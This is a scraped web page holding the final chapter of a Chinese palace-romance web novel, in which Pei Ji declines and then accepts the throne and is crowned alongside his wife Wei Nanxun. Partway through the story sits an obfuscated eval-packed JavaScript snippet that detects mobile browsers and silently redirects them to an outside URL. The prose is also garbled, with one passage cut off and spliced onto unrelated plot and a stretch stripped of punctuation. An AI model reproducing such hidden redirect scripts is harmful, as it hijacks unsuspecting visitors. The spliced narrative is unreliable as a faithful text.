第194章 正文完
作品:《嫡姐逼我做侧房,重生二嫁上龙床》 裴寂骑着马径直出了宫门,并没有急着回大营,反而去了趟刑部大牢。
他回京另一个目的便是确保卫荣德的安全,这自是比任何事都重要。
刑部尚书闻讯抱着歪歪扭扭的官帽,跑得官靴都要掉了,一路从宫内追了出来。
他是个识时务的人,即便皇帝当初以贪腐的罪名拿了卫荣德,但这是谁啊,肃王的老丈人啊!
不管是皇帝还是肃王,他哪个都得罪不起,罪名可以定,只这入狱之后如何对待,皇帝便不管了。
故而,卫荣德虽是在狱中待了小半个月,可除了许久没见日光,不怎么走动外,甚至还养得脸上肉多了些,连之前奔波晒黑了的皮肤看上去都白了许多。
至于这案子,刑部尚书也连连摆手,称这里面有误会,他们已经调查清楚了,卫大人是被冤枉的。
如今误会解除了,自然可以官复原职回去歇息了。
裴寂见岳父好端端的也没受伤,也就没为难这尚书,带着人回了卫府。
虽说看着没外伤人也精神,但他还是请了个大夫,上上下下给卫荣德仔细检查了番。
而院子里,即风则焦急地一手握拳击打掌心,同时还原地转着圈。
直转得人头都要晕了。
“老大,别再转了,你这转得我们眼睛都要花了。”
“你们怎么一点都不着急啊!老四你说,爷这到底是怎么想的。”
另外几人都抱着剑靠在廊下的柱子上,被点到名的人吐出嘴里咬着的叶子:“什么怎么想的?”
“这么好的机会,那最贼头的张禁初都求爷登基了,爷怎么还推了呢。咱们进京这趟为的不就是这个,眼看着到手的鸭子要飞了,能不急么。”
其他人都笑了起来,其中一人上前搂住他的脖子笑道:“老大,你这光长岁数不长脑子啊。”
“你以为这当皇帝跟咱们营里选班头一样?”
“去去去,要说就说人话,别拐弯抹角的,听得人浑身难受。别的我不清楚,我只知道这皇位所有人都想要,各方虎视眈眈的,我们爷却给推了,这么好的机会错过了,往后哪儿去寻啊。”
被叫老四的男子,轻笑了声:“行了,别逗他了,别到时候真跑去爷面前问着问那的,还要连累我们兄弟一块挨骂。”
“大哥放心吧,谁也抢不走咱们爷的皇位。”
即风诧异地抬起头来:“不是都给拒了么。”
旁边的人敲了敲他的脑袋:“用你的猪脑子想想,如今除了咱们爷,
兵赶到已无大碍但他还是要赶回去是卫荣德将他给拦下。
让他相信卫南熏眼下需顾全大局。
这也是他与这个岳父第二次私下单独谈话。
“我第一眼见你时还不知你身份便与阿熏说你非池中物定能化龙。不想却是说错了你本就是潜龙在渊。”
“当初不愿阿熏嫁你是怕齐大非偶我们家高攀不上如今看来是我太过迂腐狭隘。”
“我不知你的打算如何但大燕不可一日无君你的能力与眼界皆胜世人
“不必有后顾之忧按你想的去做。”
裴寂待他自是恭敬有加闻言微微拱手算是听了他这席话。
这会他正捧着书卷在院中看见即风冒冒失失地进来似乎早就知道了这些人会来。
“闭嘴太吵了。”
即风这才生生停下脚步捂着嘴不敢出声只用眼神示意外面来了好多人。
裴寂慢条斯理地翻看完手中的书卷头也没抬地道:“不还有个七皇子找我作何让他们走。”
即风愣了下虽然想说什么可早已习惯了对王爷的话言听计从就算心中满是疑惑也还是将话带了回去。
“诸位大人请回吧我们王爷说了让诸位找七皇子去。”
而后猛地关上了大门。
屋外的百官宗亲们面面相觑皆是不知怎么办好。
“张大人这这该如何是好啊?”
张禁初其实已经想到了今日不会那么顺利他整了整头顶的官帽站起道:“玄德请诸葛先生出山都要三回更何况我们是要请一国之君呢。”
“回去吧明儿再来。”
说着也不管其他人掸了掸衣摆上的尘土便扬长而去。
剩下的人没了主心骨自是没留下的必要紧紧跟在他身后追上:“张大人等等我们啊!”
又过了一日依旧是张禁初领着百官们但不同的是他还从金黄的轿撵中搀扶下了一人。
竟是神色疲惫的姜太后。
事发突然她在别院休养知道皇帝驾崩废太子又亲手杀了同胞弟弟简直如遭雷劈一般险些晕厥过去。
还好太医及时救治不然只怕这国丧还要多加一位。
她得了消息也顾不上身体赶回了京城。
知晓如今皇位空置裴寂两辞皇位自是坐不住了即便她身为母亲也不得不亲自过来。
即风熟练地打开了院门
,原想按着昨日的话,继续把人给请走,就看到了眼前的太后,瞬间恭敬地俯下身行礼。
“免礼,带哀家去见他。”
随之一道进卫家的,除了姜太后还有张禁初以及皇室的另一位宗亲。
裴寂依旧在看信函,这是今晨刚从边城送来的,卫南熏给他保平安的家书。
听见脚步声,他慢悠悠地抬起头,看见来人似乎也不意外,只慢条斯理地起身:“见过母后。”
皇帝驾崩,姜太后乃是白发人送黑发人,孙子又差不多死光了,如今还能看见这个小儿子,也算是唯一的安慰。
她的眼中似有泪光在闪动,良久才撇开眼郑重地道:“别的话,哀家也不多说了。此次过来只说两点,第一是安亲王的儿子战死,孙儿又早夭如今膝下无子嗣。由哀家做主,小七会过继到他名下,以后世上再无你兄的血脉。第二是国不可一日无君,哀家已让钦天监择吉日,让百官迎你入宫登基。”
裴寂对此不置可否,对七皇子被过继没什么反应,对登基也兴致缺缺。
听到最后,才把手里的家书一点点折起。
“那便依母后的,只是这日子不急。”
“为何?你还要等什么。”
“等本王的王妃点头,她若不允,这皇帝谁爱当谁当。”
姜太后:……
张禁初反应最快,已经欣喜地跪下道:“陛下说的是,皇后娘娘身怀龙子,一直待在边城可不行。臣听闻前几日有异族来犯,多亏了皇后娘娘沉稳果决,才得以守住了满城的百姓。”
“臣这就让礼部去准备章程,恭迎皇后娘娘回京。”-
张禁初欢欢喜喜的出去了,很快府门外就传来了带着喜气的嘈杂声,连带院中的即风等人也一并跟了出去。
只留下裴寂母子二人,四目相对下,相顾无言。
到底还是姜太后没有忍住,先开口道:“守拙,我知道你一直都对我怀恨在心,恨我忽视你,没能尽到母亲的职责。也讨厌你兄长,不喜他夺走了你所有的宠爱与关注。”
“但事到如今,你兄长……”姜太后一想到离世的大儿子,以及那群枉死的孙儿,眼中又有泪水闪动。
她说是太后,是这大燕最为尊贵的女子,实则也不过是个失去了儿子和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15285393|166919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孙子的老人。
“过去的事便让他过去吧,好么?”
她的语气中不自觉地带了些许哀求,为她曾经的错而低头,不单单是因他即将成为皇帝,只因他是她在这世上最亲近的人了。
裴
寂扯了扯嘴角,露出个略带讥讽的笑来。
他居高临下地看着眼前面容苍老的老妇。
或许曾经的他确实是有执念,也曾恨过憎恶过,道苍天不公,非要他生在这冷血的帝王家。
可现在的他,早已无所谓了。
“你想多了,别把自己想得太重了。”
他微微垂着眼眸,眼中划过抹不易察觉的温柔,有人已经温暖了他那颗千疮百孔的心,现在的他,早已不在乎了。
姜太后闻言微微一愣,一时间不知该高兴还是沮丧好。
高兴的是,儿子并没有恨她,沮丧的是,她甚至连被恨都不配,她在他心目中或许还不如卫荣德这个岳父来得重要。
不过,这都是她咎由自取的,怨不得别人。
“等你的登基大典过后,我便会回五台山,为你兄长侄儿们诵经,愿他们能早日超生。或许,不会再回京了。”
“听说,阿熏腹中怀的是个男孩,也不知孩儿会像你多些,还是像阿熏。”
裴寂神色淡淡的,他对腹中是男还是女并不在意,只是听姜太后的语气有些令他不舒服。
好似是他逼她离京,永远不要回来似的,便没有吭声。
眼见儿子没有搭理自己的意思,姜太后也不再留下惹人厌了,挤出个勉强的笑来:“没旁的事,那哀家便先回宫了。”
她说着缓慢地朝院外走去,她没让宫女跟着,走动间有些迟缓。
就在她即将踏出院门时,那个冷淡的声音从身后传来:“猜来猜去烦不烦,你就不能亲眼看了再走?”
姜太后的身形一顿,理解了下他的意思,蓦地双眸亮起,裴寂的意思是说,让她见孩子么?
即便他没有要挽留她的意思,可他愿意让她见孙儿,这已经是她想都不敢想的事了,至少说明他是真的不恨她了。
有人亡故,便会有新生命的诞生,大燕也将迎来新生。-
卫南熏还有两个月便要生了,虽说进京要不了多少时间,用的也是最好的马车,铺上四五层的毛毯,绝不会让她有半点颠簸的感觉。
可裴寂仍是担心会有闪失,不止亲自去接,原本七八日的路程,等到京中都过去半个多月了。
几乎是走半日就停下休息半日,说是在赶路,实际是在游山玩水。
裴寂的登基大典与卫南熏的封后大典,定在了同一个时间,那日是个晴朗无云的日子。
明媚的日光从金銮殿的琉璃瓦缝隙间落下,身着龙袍的裴寂牵着身旁妻子的手,一步步踏上白玉台阶,转身牵着她,一并坐上了那把金黄的龙椅。
站在下首的文武百官,皆是一愣。
即便皇后身为一国之母,是这天底下顶顶尊贵的女子,可也没有**的先例过。
礼部尚书都要开始擦额上的汗水了,陛下在大典之前也没说有这个环节啊!
可发愣归发愣,谁也不敢说半句皇帝不对,甚至张禁初已经带头跪下高呼万岁。
“吾皇万岁万岁万万岁,皇后千岁千岁千千岁。”
卫南熏反握住身旁人的手,看着底下乌压压的人群,又仰头看向身侧的夫君。
刚重生的她,怎么也不会想到。她不止挣脱了命运的枷锁,解救了自己和全家人,还会嫁给心爱的人,站在这万人之上。
与尔执手,此生不悔。